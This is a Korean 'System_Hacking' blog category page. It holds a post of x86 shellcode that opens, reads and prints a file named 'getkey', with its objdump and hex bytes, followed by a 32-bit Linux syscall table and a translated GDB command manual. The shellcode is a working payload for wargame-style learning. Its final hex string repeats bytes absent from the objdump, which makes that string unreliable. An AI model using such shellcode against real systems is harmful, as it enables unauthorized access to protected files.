'System_Hacking'에 해당되는 글 60건

  1. 2013.07.27 [Shellcode] open-read-write(stdout)
  2. 2013.07.21 32bit unistd.h System call Number
  3. 2013.06.10 GDB 명령어 완벽 가이드
  4. 2013.04.19 [R.O.P.] ropeme 사용하여 ROP 가젯 쉽게 구하기.
  5. 2013.04.05 PLT & GOT 심층 분석.
  6. 2013.03.05 구홍이 형이 쓰신 페도라 오버플로우 공략법 글
  7. 2012.12.01 ARM 쉘코드 getgid 추가
  8. 2012.10.30 ASLR 끄는법?!
  9. 2012.09.02 [코드 오딧팅] From 해킹캠프
  10. 2012.08.26 GDB 명령어 모음집
  11. 2012.07.06 심심해서 테스트해 본 scanf 오버플로우..
  12. 2012.06.21 Hackerschool 몽이형이 쓰신 리모트 버퍼오버플로우 총 정리(remote buffer overflow theory by mongil)
  13. 2012.06.16 gcc 컴파일 옵션, 스택실행,까나리 없애기,바운더리없애기, 랜덤스택 풀기
  14. 2012.05.06 GDB 사용법 (Usage GDB)
  15. 2012.05.06 Bind Shellcode (port : 31337 )
  16. 2012.04.17 FAKE EBP 공격 기법 (LOB level 16) (About attack of FAKE EBP)
  17. 2012.04.17 SPO 공격 기법에 대하여(LOB level12) (About attack of SPO)
  18. 2012.04.01 내가낸 HUST 해킹대회 K번 문제 풀이법 2
  19. 2012.04.01 파일 디버그 스트립에 관하여.. (about file dug strip)
  20. 2012.03.29 포멧 스트링 버그 정리 hakerschool level20 (formet string bug reporting with hackerschool level20)) 1
  21. 2012.03.23 시스템 바이너리 문제 다운 받아 분석하는 방법 (System Binary file Download method in remote enviroment) 1
  22. 2012.03.21 원격지 login 인자값 넘기기
  23. 2012.03.21 인드라 형님의 쉘코드 만들기 mkdir 과 execve 함수를 쉘코드 만들기 동영상 강좌
  24. 2012.03.21 어셈과 C언어를 넘나 들어 보자~
  25. 2012.03.21 레지스터 이해와 어셈블리 더블 포인터의 이해
  26. 2012.03.21 gdb 사용법 우분투에서 연습하기.
  27. 2012.03.21 %2f 가 없는 쉘코드 (shellcode without %2f code)
  28. 2012.03.21 기본적인 쉘을 얻는 쉘코드를 얻기위한 어셈블리 코딩
  29. 2012.03.21 리눅스 커널 심층 분석 내가 요약한 판..
  30. 2012.03.21 스택옵션 변경하기 (changing Stack option) (랜덤스택 없애기 및 DEP 주기) 1
2013. 7. 27. 14:04

[ read(open("getkey",0),buff,50)) -> write(stdout,buff); ]


#include<stdio.h>


int main()

{

        asm(

        //open("./getkey",0)*

        "xor %eax, %eax\n"

        "push %eax\n"

        "push $0x79654b65\n"

        "push $0x68742f2e\n"        // [getkey] [NULL]

        "mov %eax, %ecx\n"

        "mov %esp, %ebx\n"

        "movb $5, %al\n"        // open = 5

        "int $0x80\n"


        //read(eax,buff,100);

        "xor %edx,%edx\n"

        "movb $0x50,%dl\n"

        "sub $0x50,%esp\n"

        "movl %esp,%ecx\n"

        "movl %ecx,%edi\n"

        "movl %eax,%ebx\n"

        "xor %eax,%eax\n"

        "movb $0x3,%al\n"

        "int $0x80\n"


        //write(1,buff);

        "movl %edi, %ecx\n"

        "xor %ebx,%ebx\n"

        "xor %eax,%eax\n"

        "movb $0x1, %bl\n"

        "movb $0x4, %al\n"

        "int $0x80\n"

        );

return 0;

}


[ OBJDUMP ] 


 80483df: 31 c0                     xor    %eax,%eax

 80483e1: 50                           push   %eax

 80483e2: 68 65 4b 65 79       push   $0x79654b65

 80483e7: 68 2e 2f 74 68       push   $0x68742f2e

 80483ec: 89 c1                 mov    %eax,%ecx

 80483ee: 89 e3                 mov    %esp,%ebx

 80483f0: b0 05                 mov    $0x5,%al

 80483f2: cd 80                         int    $0x80

 80483f4: 31 d2                        xor    %edx,%edx

 80483f6: b2 50                 mov    $0x50,%dl

 80483f8: 83 ec 50             sub    $0x50,%esp

 80483fb: 89 e1                 mov    %esp,%ecx

 80483fd: 89 cf                         mov    %ecx,%edi

 80483ff: 89 c3                        mov    %eax,%ebx

 8048401: 31 c0                        xor    %eax,%eax

 8048403: b0 03                     mov    $0x3,%al

 8048405: cd 80                     int    $0x80

 8048407: 89 f9                         mov    %edi,%ecx

 8048409: 31 db                         xor    %ebx,%ebx

 804840b: 31 c0                 xor    %eax,%eax

 804840d: b3 01                     mov    $0x1,%bl

 804840f: b0 04                 mov    $0x4,%al

 8048411: cd 80                     int    $0x80




[ 최종 쉘코드 ]


\x31\xc0\x50\x68\x65\x4b\x65\x79\x68\x2e\x2f\x74\x68

\x89\xc1\x89\xe3\xb0\x05\xcd\x80\x31\xd2\xb2\x50\x83

\xec\x50\x89\xe1\x89\xcf\x89\xcf\x89\xc3\x31\xc0\xb0

\x03\xcd\x80\x89\xf9\x31\xdb\x31\xc0\xb3\x01\xb0\x04
\xcd\x80

Posted by k1rha
2013. 7. 21. 01:17

[64비트에서는 이놈들이 어디 있는겨? -_-... 복사 해놨다가. 그때그때 찾아써야겠다..]


/usr/linux/asm/unistd.h  32bit unistd.h System call Number 


#define __NR_exit 1    - move extended read/write file pointer

#define __NR_fork 2   - create a new process

#define __NR_read 3  - read from file

#define __NR_write 4

#define __NR_open 5

#define __NR_close 6

#define __NR_waitpid 7

#define __NR_creat 8

#define __NR_link 9

#define __NR_unlink 10

#define __NR_execve 11

#define __NR_chdir 12

#define __NR_time 13

#define __NR_mknod 14

#define __NR_chmod 15

#define __NR_lchown 16

#define __NR_break 17

#define __NR_oldstat 18

#define __NR_lseek 19

#define __NR_getpid 20

#define __NR_mount 21

#define __NR_umount 22

#define __NR_setuid 23

#define __NR_getuid 24

#define __NR_stime 25

#define __NR_ptrace 26

#define __NR_alarm 27

#define __NR_oldfstat 28

#define __NR_pause 29

#define __NR_utime 30

#define __NR_stty 31

#define __NR_gtty 32

#define __NR_access 33

#define __NR_nice 34

#define __NR_ftime 35

#define __NR_sync 36

#define __NR_kill 37

#define __NR_rename 38

#define __NR_mkdir 39

#define __NR_rmdir 40

#define __NR_dup 41

#define __NR_pipe 42

#define __NR_times 43

#define __NR_prof 44

#define __NR_brk 45

#define __NR_setgid 46

#define __NR_getgid 47

#define __NR_signal 48

#define __NR_geteuid 49

#define __NR_getegid 50

#define __NR_acct 51

#define __NR_umount2 52

#define __NR_lock 53

#define __NR_ioctl 54

#define __NR_fcntl 55

#define __NR_mpx 56

#define __NR_setpgid 57

#define __NR_ulimit 58

#define __NR_oldolduname 59

#define __NR_umask 60

#define __NR_chroot 61

#define __NR_ustat 62

#define __NR_dup2 63

#define __NR_getppid 64

#define __NR_getpgrp 65

#define __NR_setsid 66

#define __NR_sigaction 67

#define __NR_sgetmask 68

#define __NR_ssetmask 69

#define __NR_setreuid 70

#define __NR_setregid 71

#define __NR_sigsuspend 72

#define __NR_sigpending 73

#define __NR_sethostname 74

#define __NR_setrlimit 75

#define __NR_getrlimit 76

#define __NR_getrusage 77

#define __NR_gettimeofday 78

#define __NR_settimeofday 79

#define __NR_getgroups 80

#define __NR_setgroups 81

#define __NR_select 82

#define __NR_symlink 83

#define __NR_oldlstat 84

#define __NR_readlink 85

#define __NR_uselib 86

#define __NR_swapon 87

#define __NR_reboot 88

#define __NR_readdir 89

#define __NR_mmap 90

#define __NR_munmap 91

#define __NR_truncate 92

#define __NR_ftruncate 93

#define __NR_fchmod 94

#define __NR_fchown 95

#define __NR_getpriority 96

#define __NR_setpriority 97

#define __NR_profil 98

#define __NR_statfs 99

#define __NR_fstatfs 100

#define __NR_ioperm 101

#define __NR_socketcall 102

#define __NR_syslog 103

#define __NR_setitimer 104

#define __NR_getitimer 105

#define __NR_stat 106

#define __NR_lstat 107

#define __NR_fstat 108

#define __NR_olduname 109

#define __NR_iopl 110

#define __NR_vhangup 111

#define __NR_idle 112

#define __NR_vm86old 113

#define __NR_wait4 114

#define __NR_swapoff 115

#define __NR_sysinfo 116

#define __NR_ipc 117

#define __NR_fsync 118

#define __NR_sigreturn 119

#define __NR_clone 120

#define __NR_setdomainname 121

#define __NR_uname 122

#define __NR_modify_ldt 123

#define __NR_adjtimex 124

#define __NR_mprotect 125

#define __NR_sigprocmask 126

#define __NR_create_module 127

#define __NR_init_module 128

#define __NR_delete_module 129

#define __NR_get_kernel_syms 130

#define __NR_quotactl 131

#define __NR_getpgid 132

#define __NR_fchdir 133

#define __NR_bdflush 134

#define __NR_sysfs 135

#define __NR_personality 136

#define __NR_afs_syscall 137 /* Syscall for Andrew File System */

#define __NR_setfsuid 138

#define __NR_setfsgid 139

#define __NR__llseek 140

#define __NR_getdents 141

#define __NR__newselect 142

#define __NR_flock 143

#define __NR_msync 144

#define __NR_readv 145

#define __NR_writev 146

#define __NR_getsid 147

#define __NR_fdatasync 148

#define __NR__sysctl 149

#define __NR_mlock 150

#define __NR_munlock 151

#define __NR_mlockall 152

#define __NR_munlockall 153

#define __NR_sched_setparam 154

#define __NR_sched_getparam 155

#define __NR_sched_setscheduler 156

#define __NR_sched_getscheduler 157

#define __NR_sched_yield 158

#define __NR_sched_get_priority_max 159

#define __NR_sched_get_priority_min 160

#define __NR_sched_rr_get_interval 161

#define __NR_nanosleep 162

#define __NR_mremap 163

#define __NR_setresuid 164

#define __NR_getresuid 165

#define __NR_vm86 166

#define __NR_query_module 167

#define __NR_poll 168

#define __NR_nfsservctl 169

#define __NR_setresgid 170

#define __NR_getresgid 171

#define __NR_prctl 172

#define __NR_rt_sigreturn 173

#define __NR_rt_sigaction 174

#define __NR_rt_sigprocmask 175

#define __NR_rt_sigpending 176

#define __NR_rt_sigtimedwait 177

#define __NR_rt_sigqueueinfo 178

#define __NR_rt_sigsuspend 179

#define __NR_pread 180

#define __NR_pwrite 181

#define __NR_chown 182

#define __NR_getcwd 183

#define __NR_capget 184

#define __NR_capset 185

#define __NR_sigaltstack 186

#define __NR_sendfile 187

#define __NR_getpmsg 188 /* some people actually want streams */

#define __NR_putpmsg 189 /* some people actually want streams */

#define __NR_vfork 190

#define __NR_ugetrlimit 191 /* SuS compliant getrlimit */

#define __NR_mmap2 192

#define __NR_truncate64 193

#define __NR_ftruncate64 194

#define __NR_stat64 195

#define __NR_lstat64 196

#define __NR_fstat64 197

#define __NR_lchown32 198

#define __NR_getuid32 199

#define __NR_getgid32 200

#define __NR_geteuid32 201

#define __NR_getegid32 202

#define __NR_setreuid32 203

#define __NR_setregid32 204

#define __NR_getgroups32 205

#define __NR_setgroups32 206

#define __NR_fchown32 207

#define __NR_setresuid32 208

#define __NR_getresuid32 209

#define __NR_setresgid32 210

#define __NR_getresgid32 211

#define __NR_chown32 212

#define __NR_setuid32 213

#define __NR_setgid32 214

#define __NR_setfsuid32 215

#define __NR_setfsgid32 216

#define __NR_pivot_root 217

#define __NR_mincore 218

#define __NR_madvise 219

#define __NR_madvise1 219 /* delete when C lib stub is removed */

#define __NR_getdents64 220

#define __NR_fcntl64 221

#define __NR_security 223 /* syscall for security modules */

#define __NR_gettid 224

#define __NR_readahead 225

#define __NR_setxattr 226

#define __NR_lsetxattr 227

#define __NR_fsetxattr 228

#define __NR_getxattr 229

#define __NR_lgetxattr 230

#define __NR_fgetxattr 231

#define __NR_listxattr 232

#define __NR_llistxattr 233

#define __NR_flistxattr 234

#define __NR_removexattr 235

#define __NR_lremovexattr 236

#define __NR_fremovexattr 237

#define __NR_tkill 238

#define __NR_sendfile64 239

#define __NR_futex 240

#define __NR_sched_setaffinity 241

#define __NR_sched_getaffinity 242

#define __NR_set_thread_area 243

#define __NR_get_thread_area 244

/* #define __NR_io_setup 245 */

/* #define __NR_io_destroy 246 */

/* #define __NR_io_getevents 247 */

/* #define __NR_io_submit 248 */

/* #define __NR_io_cancel 249 */

/* #define __NR_alloc_hugepages 250 */

/* #define __NR_free_hugepages 251 */

#define __NR_exit_group 252

/* #define __NR_lookup_dcookie 253 */

/* #define __NR_sys_epoll_create 254 */

/* #define __NR_sys_epoll_ctl 255 */

/* #define __NR_sys_epoll_wait 256 */

/* #define __NR_remap_file_pages 257 */

#define __NR_set_tid_address 258

 


Posted by k1rha
2013. 6. 10. 23:02

 

gdb 사용법 ( 출처 : http://www.viper.pe.kr/docs/gdb-manual.html ) - 라이센스가 있을 경우 알려주세요.


자식 프로세스로 바로 분석 하는 법 : set follow-fork-mode child

 

 사용법 
 

help  

도움말, 명령어 분류 목록 출력

help [class]

해당 class에 속한 명령어 목록 표시

help [command]

해당 command에 대한 도움말 표시

    *** class와 command의 축약형도 지원됨


  명령어 분류 목록
 

running

프로그램 수행

support

지원 도구

stack  

스택 검사

user-defined

사용자 정의 명령

data  

데이타 검사

aliases

다른 명령어의 별칭

files

검사할 파일

obscure

기타

status

상태 조회

internals

유지보수 명령

breakpoints

어떤 포인트에서 프로그램을 중단하게 만듦

 


  프로그램의 수행 (running) 
 

show args

디버깅할 프로그램에 전달되는 argument를 보여준다.
이 명령어 다음에 몇 개의 argument가 온다.

info handle

프로그램이 각종 신호를 입력으로 받았을 때, 디버거의 동작법을 보여준다.

kill

디버깅 중인 프로그램의 실행을 취소한다.

target    

타겟 기계나 프로세스에 연결한다.
첫번째 argument는 타겟 기계의 타입이나 프로토콜이다. 나머지 argument는 타겟 프로토콜에 의해서 해석 되어진다. 특정 프로토콜에 작동하는 argument에 관해 추가 정보가 필요하면, [help target 프로토콜명]을 친다.

[target 서브 명령어 목록]
 

target exec  

타겟으로서 실행 파일을 사용한다.

target extended-remote

시리얼 라인을 경유해 떨어져 있는 컴퓨터를 타겟으로 사용

target remote

시리얼 라인을 경유해 떨어져 있는 컴퓨터를 타겟으로 사용

target core

타겟으로서 코어 파일을 사용한다.

target child

([run] 명령어에 의해 시작된) 유닉스의 자식 프로세스를 타겟으로 사용한다.

 

handle

신호를 어떻게 다룰지 상술함
argument는 신호와 그 신호에 적용할 동작이다. 심벌 신호(즉 SIGSEGV)가 권장 사항이지만, 1-15의 숫자 신호도 GDB의 이전 버젼과의 호환성을 위해 허용된다. 숫자 범위는 LOW-HIGH(즉 1-5)의 형태로 지정되어질 수 있다.
특별한 argument "all"은 대체로 SIGTRAP과 SIGINT처럼 디버거에 의해 사용되어지는 것을 제외한 모든 신호를 의미한다고 인식되어진다.
동작에는 "stop", "nostop", "print", "noprint", "pass", "nopass", "ignore", "noignore"가 있다.

 "stop"은 디버거로 다시 들어감을 의미한다("print"를 포함한다).   
 "print"는 메세지를 프린트함을 의미한다.
 "pass"는 프로그램이 이 신호를 인식할 수 있도록 함을 의미한다; 그렇지않으면 프로그램은 알 수 없다.
 "ignore"는 "nopass"와 같은 말이며, "noignore"도 "pass"와 같은 말이다.
 "pass"와 "stop"은 결합해서 사용할 수 있다.

run

디버깅할 프로그램의 수행을 시작한다.
전달할 argument를 지정할 수 있다. argument는 "*"나 "[..]"를 포함할 수도 있다; 쉘의 사용까지도 확장 될 수 있다. ">", "<", ">>" 같은 입출력 방향 재지정 기호도 또한 허용된다.
argument 없이, 마지막으로 지정된 argument를 사용할 수 있다("run" 또는 "set args"에 의해) 이전의 argument를 취소하고 argument 없이 실행하기 위해서, "set args" 를 argument 없이 사용하라.

continue

신호나 breakpoint 후에, 디버깅할 프로그램의 수행을 계속한다.
만약 breakpoint에서부터 진행된다면, 숫자 N이 argument로 사용되어질 수 있으며, 이는 breakpoint의 무시할 갯수가 N-1로 정해진다는 것을 의미한다. (그래서 breakpoint 가 N번째에 이를 때까지 분기하지 않는다)

jump

지정된 라인이나 주소에서 디버깅할 프로그램의 수행을 계속한다.
LINENUM이나 *ADDR을 argument로 준다.

until

프로그램이 현재 라인보다 큰 라인이나 또는 지정된 라인이나 어드레스 또는 함수에 도달할 때까지 수행한다(break 명령과 동일한 argument). 
실행은 현재의 스택 프레임으로 부터 빠져나오면서 중지될 것이다.

step

다른 소스 라인에 도달할 때까지 프로그램의 수행을 건너뛴다.
argument N은 이를 N번 수행하라는 의미다(또는 다른 이유로 인해 프로그램이 중지될 때까지).

next

서브루틴을 호출하여 진행하면서 프로그램의 수행을 건너뛴다.
서브루틴 호출이 발생하지 않는한 "step" 명령어와 같다.
이 명령어가 수행될 때, 호출은 하나의 명령으로 다루어진다.
argument N은 이를 N번 수행하라는 의미다(또는 다른 이유로 인해 프로그램이 중지될 때까지).

finish

선택된 스택 프레임이 리턴될 때까지 수행한다. 리턴되면서, 리턴되는 값은 출력되어지고 값 히스토리에 입력된다.

nexti

명령 하나를 건너뛰지만, 서브루틴 호출은 진행한다. argument N은 이를 N번 수행하라는 의미다(또는 다른 이유로 인해 프로그램이 중지될 때까지).     

stepi

정확하게 명령 하나를 건너 뛴다. argument N은 이를 N번 수행하라는 의미다(또는 다른 이유로 인해 프로그램이 중지될 때까지).

signal

argument에 의해 지정된 신호를 주면서 프로그램의 수행을 계속한다.
argument "0"은 신호를 주지 않으면서 프로그램을 계속 수행하라는 의미다.

detach

이전에 첨부된 프로세스나 파일을 제거하라. 만약 프로세스이면, 더 이상 추적할 필요 없이 수행을 계속한다. 만약 파일을 디버깅 중이라면, 그 파일은 닫히고 gdb는 더 이상 억세스 하지 않는다.

attach

GDB 바깥의 프로세스나 파일을 첨부한다. 이 명령어는 'target' 명령어처럼 다른 타겟에 부가되어진다('info files'는 당신의 타겟 스택을 보여줄 것이다).
이 명령어는 프로세스 id나 디바이스 파일을 argument로 가질 수 있다.
프로세스 id에 대해, 당신은 프로세스로 신호를 보낼 수 있는 권한을 가지고 있어야만 하며, 디버거와 똑같은 영향을 가지는 uid를 가지고 있어야 한다.
"attach" 명령을 사용할 때, 프로세스에서 프로그램 동작을 상술하며 심벌 테이블을 로딩하는 명령 "file"을 사용해야 한다.

unset environment  

프로그램에 대한 환경변수 VAR을 취소한다.
이 명령은 이후에 "run" 명령을 수행했을 때, 프로그램에 영향을 미친다.

tty

디버깅할 프로그램의 앞으로의 수행을 위해 터미널을 셋팅한다.

set environment

프로그램에 전달할 환경변수 값을 셋팅한다.
argument는 VAR VALUE인데, 여기에서 VAR은 변수명이고 VALUE는 값이다.
환경변수의 VALUE는 해석되지 않은 스트링이다. 이 명령은 이후에 "run" 명령을 수행했을 때, 프로그램에 영향을 미친다.

set args

프로그램이 시작될 때, 디버깅할 프로그램에 전달할 argument를 셋팅한다.
이 명령어 다음에 프로그램에 전달될 몇 개의 argument가 따라온다.

thread

thread간 스위칭을 위해 이 명령을 사용한다. 새로운 thread ID를 반드시 알고 있어야 한다.
 

thread

서브명령어의 목록

thread apply

thread 목록에 명령을 적용한다.

thread apply all

모든 thread에 명령어를 적용한다.

 

 


  스택을 검사 (stack)

    스택은 스택 프레임으로 구성되어진다. gdb는 스택 프레임에 번호를 지정한다.
    gdb는 가장 안쪽에 있는(현재 실행중인) 프레임에 대해 0번 부터 번호를 부여한다. 항상 gdb는 한 프레임을 선택된 프레임으로 간주한다. 변수 룩업은 선택된  프레임에 대하여 이루어진다. 디버깅 중인 프로그램이 정지될 때, gdb는 가장 안쪽에 있는 프레임을 선택한다. 아래 명령어들은 숫자나 어드레스에 의해서 선택된 다른 프레임에 대해서도 사용되어질 수도 있다.

     명령어 목록 

bt

모든 스택 프레임이나 가장 안쪽에 있는 COUNT 프레임의 backtrace를 출력한다. argument가 음수일 때, 가장 바깥쪽의 -COUNT 프레임을 출력한다.

backtrace

bt 명령어와 동일하다.

select-frame

아무런 출력 없이 스택 프레임을 선택한다. argument는 선택할 프레임을 상술한다. 그것은 스택 프레임 번호이거나 프레임  어드레스일 수도 있다.

frame

스택 프레임을 선택하고 출력한다.
argument 없이 사용하면, 선택된 스택 프레임을 출력한다("info frame" 참조) argument 는 선택할 프레임을 상술한다. 그것은 스택 프레임 번호이거나 프레임 어드레스일 수도 있다. argument와 같이 사용할 경우에, 입력이 명령 파일이나 사용자 정의 명령에 근거한다면 출력되는 것은 아무 것도 없다.

down

이 명령에 의해 호출된 스택 프레임을 선택하고 출력한다. argument는 얼마나 많은 프레임을 down 해야할지를 말해준다.

up

이 명령에 의해 호출된 스택 프레임을 선택하고 출력한다. argument는 얼마나 많은 프레임을 up 해야할지를 말해준다.

return

선택된 스택 프레임으로 하여금 호출자에게 리턴값을 돌려주도록 한다.
디버거에 제어가 남아 있지만 당신이 계속할 때, 실행은 현재 선택된 것보다 위에 있는 프레임에서 계속될 것이다.
만약 argument가 주어진다면, 리턴값에 대한 표현이다.



  데이타를 검사 (data)

     명령어 목록

whatis

expression EXP의 데이터 타입을 출력한다.

ptype

타입 TYPE의 정의를 출력한다. argument는 typedef, "struct STRUCT-TAG",  "class CLASS-NAME", "union UNION-TAG", "enum ENUM-TAG"에 의해 정의된 타입명이다.
선택된 스택 프레임의 어휘적인 문맥은 그 명칭을 찾는데 사용되어진다.

inspect

당신이 epoch 환경에서 실행중이라면 그 값이 자신의 창에 출력된다는 것을 제외하면 "print" 명령과 동일하다.

print

expression EXP의 값을 출력한다.

call

프로그램 내에 있는 함수를 호출한다. argument는 현재 작업중인 언어의 표기에서 함수명과 argument이다. void가 아니라면, 결과는 value history에 기록 되어지고 출력될 것이다.

set

변수 VAR 대해 표현 EXP와 지정된 결과를 계산한다.

output

"print"와 유사하지만, value history에 입력하지 않고 개행문자도 출력하지 않는다.

undisplay

프로그램이 정지할 때마다 출력되는 몇몇 표현을 취소한다.

disassemble

메모리의 특정 부분을 해체한다.
x 메모리를 검사한다. : x/FMT ADDRESS

delete display

display 기능을 삭제한다.

disable display

display 기능을 disable시킨다.

enable display

display 기능을 enable시킨다.



  특정 지점에서 프로그램을 정지시키기

     명령어 목록

awatch

한 표현에 대해 watchpoint를 셋팅한다.

rwatch

한 표현에 대해 read watchpoint를 셋팅한다.

watch

한 표현에 대해 watchpoint를 셋팅한다.

catch

발생되는 예외를 잡아내기 위해 breakpoint를 셋팅한다.

break

특정 라인이나 함수에 breakpoint를 셋팅한다.

clear

특정 라인이나 함수에 있던 breakpoint를 삭제한다.

delete

몇몇 breakpoint나 자동으로 출력되는 표현을 삭제한다.

disable

몇몇 breakpoint를 disable시킨다.

enable

몇몇 breakpoint를 enable시킨다.

thbreak

breakpoint를 지원하는 일시적인 하드웨어를 셋팅한다.

hbreak

breakpoint를 지원하는 하드웨어를 셋팅한다.

tbreak

일시적인 breakpoint를 셋팅한다.

condition

breakpoint 번호 N을 오직 COND가 참일 경우에만 분기하도록 지정한다.

commands

breakpoint를 만났을 때, 실행될 명령어를 셋팅한다.

ignore

breakpoint 번호 N을 무시하는 번호로 셋팅한다.

 


  파일의 상술 및 검사

     명령어 목록

show gnutarget

현재의 BFD 타겟을 셋팅한다.

cd

디버깅 중인 프로그램과 디버거를 위한 작업 디렉토리를 DIR로 셋팅한다.

pwd

작업 디렉토리를 출력한다.

core-file

메모리와 레지스터의 검사를 위한 core dump로서 FILE을 사용한다.

section

실행 파일의 섹션 SECTION의 기본 어드레스를 ADDR로 변경한다.

exec-file

순수한 메모리의 내용을 얻기 위한 프로그램으로서 FILE을 사용한다.

file  

디버깅할 프로그램으로서 FILE을 사용한다.

path

디렉토리 DIR을 목적 파일에 대한 검색 시작점으로 추가한다.

load

실행중인 프로그램 속으로 FILE을 역동적으로 로딩한다.

add-shared-symbol-files

dynamic linker의 link map에 있는 shared object로 부터 심벌을 로딩한다.
add-symbol-file 사용법 : add-symbol-file FILE ADDR

symbol-file

실행파일인 FILE로부터 심벌 테이블을 로딩한다.

set gnutarget

현재의 BFD 타겟을 셋팅한다.

list  

지정된 함수나 행을 출력한다.

reverse-search  

출력된 마지막 행에서부터 정규 표현식에 대해 역방향으로 검색한다.

search

출력된 마지막 행에서부터 정규 표현식에 대해 검색한다. (regex(3) 참조)

directory

원본 파일에 대한 검색 경로의 시작에 디렉토리 DIR을 추가한다.



  상태 조회

     명령어 목록

show

디버거에 관한 것을 보여주는 포괄적인 명령어

info

디버깅 중인 프로그램에 관한 것을 보여주는 포괄적인 명령어



  지원 도구

     명령어 목록 

if

IF 조건이 0이 아닐 경우, 지정된 명령어들을 실행한다.

while

WHILE 조건이 0이 아닐 경우, 지정된 명령어들을 실행한다.

show confirm

위험한 작동을 확인할지를 보여준다.

show history  

명령어 history 파라메터를 보여주기 위한 포괄적인 명령어이다.

show editing

명령어 라인의 편집을 보여준다.

show verbose

장황한 설명을 보여준다.

show prompt  

gdb의 프롬프트를 보여준다.

show complaints

잘못된 기호에 관해 경고 메세지의 최대 수를 보여준다.

show demangle-style

현재의 C++ 스타일을 보여준다.

show write    

실행 파일과 코어 파일에 쓰여지는 것을 보여준다.

show check range  

검사할 범위를 보여준다.

show check type

검사할 타입을 보여준다.

show language

현재의 원본 언어를 보여준다.

show remotecache

remote 타겟을 위한 cache 사용을 보여준다.

show auto-solib-add

shared library symbol의 autoloading을 보여준다.

show stop-on-solib-events

shared library event에 대한 중지를 보여준다.

show symbol-reloading

1회 실행에 여러번 재로딩하는 다이나믹 심벌 테이블을 보여준다.

show radix     

입출력 번호 radix의 디폴트 값을 보여준다.

show output-radix

값의 출력을 위한 출력 radix의 디폴트 값을 보여준다.

show input-radix

입력 숫자에 대한 입력 radix의 디폴트 값을 보여준다.

show print object

vtable 정보에 기초한 오브젝트의 파생된 타입의 출력을 보여준다.

show print vtbl

C++의 가상 함수 테이블의 출력을 보여준다.
Show printing of C++ virtual function tables.

show print static-members

C++의 static member의 출력을 보여준다.

show print address

어드레스의 출력을 보여준다.

show print array

배열의 prettyprinting을 보여준다.

show print union

유니온 내부의 출력을 보여준다.

show print pretty

구조체의 prettyprinting을 보여준다.

show print asm-demangle

분해 목록에서 C++ 이름의 결합을 보여준다.

show print sevenbit-strings

스트링에서 \nnn과 같은 8비트 문자의 출력을 보여준다.

show print demangle

심벌을 출력할 때, 인코딩된 C++ 이름의 결합을 보여준다.

show listsize

gdb가 디폴트로 출력할 소스 라인의 숫자를 보여준다.

 show height

gdb가 한 페이지에 넣을 수 있는 행수를 보여준다.

 show width

gdb가 한 라인에 넣을 수 있는 글자수를 보여준다.

 dont-repeat

이 명령을 반복하지 말라.

 help

명령어의 목록을 출력한다.

 quit

gdb를 빠져 나간다.

  source

파일명 FILE로부터 명령어들을 읽어 들인다.

  define

새로운 명령어 이름을 정의한다.

 document

사용자 정의 명령에 해설을 단다.

echo

상수 스트링을 출력한다.

make

argument로서 그 행의 나머지를 사용하는 'make' 프로그램을 실행한다.

shell

쉘 명령으로서 그 행의 나머지를 실행한다.

set confirm

위험스런 작동을 확인할지 셋팅한다.

set history

명령어 history 파라메터 셋팅에 대한 포괄적인 명령어

set editing

명령어 라인의 편집을 셋팅한다

set verbose

장황한 설명 여부를 셋팅한다.

set prompt

gdb의 프롬프트를 셋팅한다.

set complaints

잘못된 심벌에 관한 경고 메세지의 최대 갯수를 셋팅한다.

set demangle-style

현재의 C++ 스타일을 셋팅한다.

set write

실행 파일과 코어 파일에 쓰여지는 것을 셋팅한다.

set check range

검사할 범위를 셋팅한다.

set check type

검사할 타입을 셋팅한다.

set language

현재의 원본 언어를 셋팅한다.

set remotecache

remote 타겟을 위한 cache 사용을 셋팅한다.

set auto-solib-add

shared library symbol의 autoloading을 셋팅한다.

set stop-on-solib-events

shared library event에 대한 중지를 셋팅한다.

set symbol-reloading

1회 실행에 여러번 재로딩하는 다이나믹 심벌 테이블을 셋팅한다.

set radix

입출력 번호 radix의 디폴트 값을 셋팅한다.

set output-radix

값의 출력을 위한 출력 radix의 디폴트 값을 셋팅한다.

set input-radix

입력 숫자에 대한 입력 radix의 디폴트 값을 셋팅한다.

set print object

vtable 정보에 기초한 오브젝트의 파생된 타입의 출력을 셋팅한다.

set print vtbl

C++ 가상 함수 테이블의 출력을 셋팅한다.

set print static-members

C++ static member의 출력을 셋팅한다.

set print address

어드레스의 출력을 셋팅한다.

set print array

배열의 prettyprinting을 셋팅한다.

set print union

유니온 내부의 출력을 셋팅한다.

set print pretty

구조체의 prettyprinting을 셋팅한다.

set print asm-demangle

분해 목록에서 C++ 이름의 결합을 셋팅한다.

set print asm-demangle

스트링에서 \nnn과 같은 8비트 문자의 출력을 셋팅한다.

set print demangle

심벌을 출력할 때, 인코딩된 C++ 이름의 결합을 셋팅한다.

set listsize  

gdb가 디폴트로 출력할 소스 라인의 숫자를 셋팅한다.

set height

gdb가 한 페이지에 넣을 수 있는 행수를 셋팅한다.

set width   

gdb가 한 라인에 넣을 수 있는 글자수를 셋팅한다.

down-silently

'down' 명령어와 동일

up-silently  

'up' 명령어와 동일

 


  사용자 정의 명령어

    이 명령어들은 사용자의 정의에 의해서 만들어진다.
    "define" 명령을 써서 명령어를 정의하라.


  다른 명령어들의 별칭

     명령어 목록 

ni

명령어 하나를 진행한다.

si

명령어 하나를 정확하게 진행한다.

where

모든 스택 프레임을 역추적하면서 그 값을 출력한다.

disable breakpoints

 몇몇 breakpoint를 disable시킨다.



  기 타

     명령어 목록 

complete

명령어로서 그 행의 나머지에 대해 완성된 것을 출력한다.

remote <command>

remote 모니터로 명령을 보낸다.

stop

'stop' 명령어가 없지만, 당신은 'stop'에 대한 hook를 셋팅할 수 있다.
이것은 프로그램 중지가 실행될 때마다 명령어 목록을 셋팅할 수 있게 허용한다.



  유지보수 명령어

    몇몇 gdb 명령어들은 gdb 유지보수자에 의한 사용을 위해 제공되어진다. 이들 명령어들은 자주 변하기 쉬우며, 사용자 명령어들 처럼 상세한 설명이 되어 있지 않다.

     명령어 목록 

show watchdog

watchdog 타이머를 보여준다.

show targetdebug

디버깅 중인 타겟을 보여준다.

maintenance

GDB 유지보수자에 의한 사용을 위한 명령어들

maintenance check-symtabs

psymtab과 symtab의 일관성을 검사한다.

maintenance space

공간 사용의 출력을 셋팅한다.

maintenance time

시간 사용의 출력을 셋팅한다.

maintenance demangle

C++의 분해된 이름을 결합시킨다.

maintenance dump-me

중대한 에러를 취득; 디버거가 자신의 코어를 덤프하게 한다.

maintenance print

 GDB 내부 상태 출력에 대한 유지보수 명령어

    세부 명령어
            maintenance print statistics
            maintenance print objfiles
            maintenance print psymbols
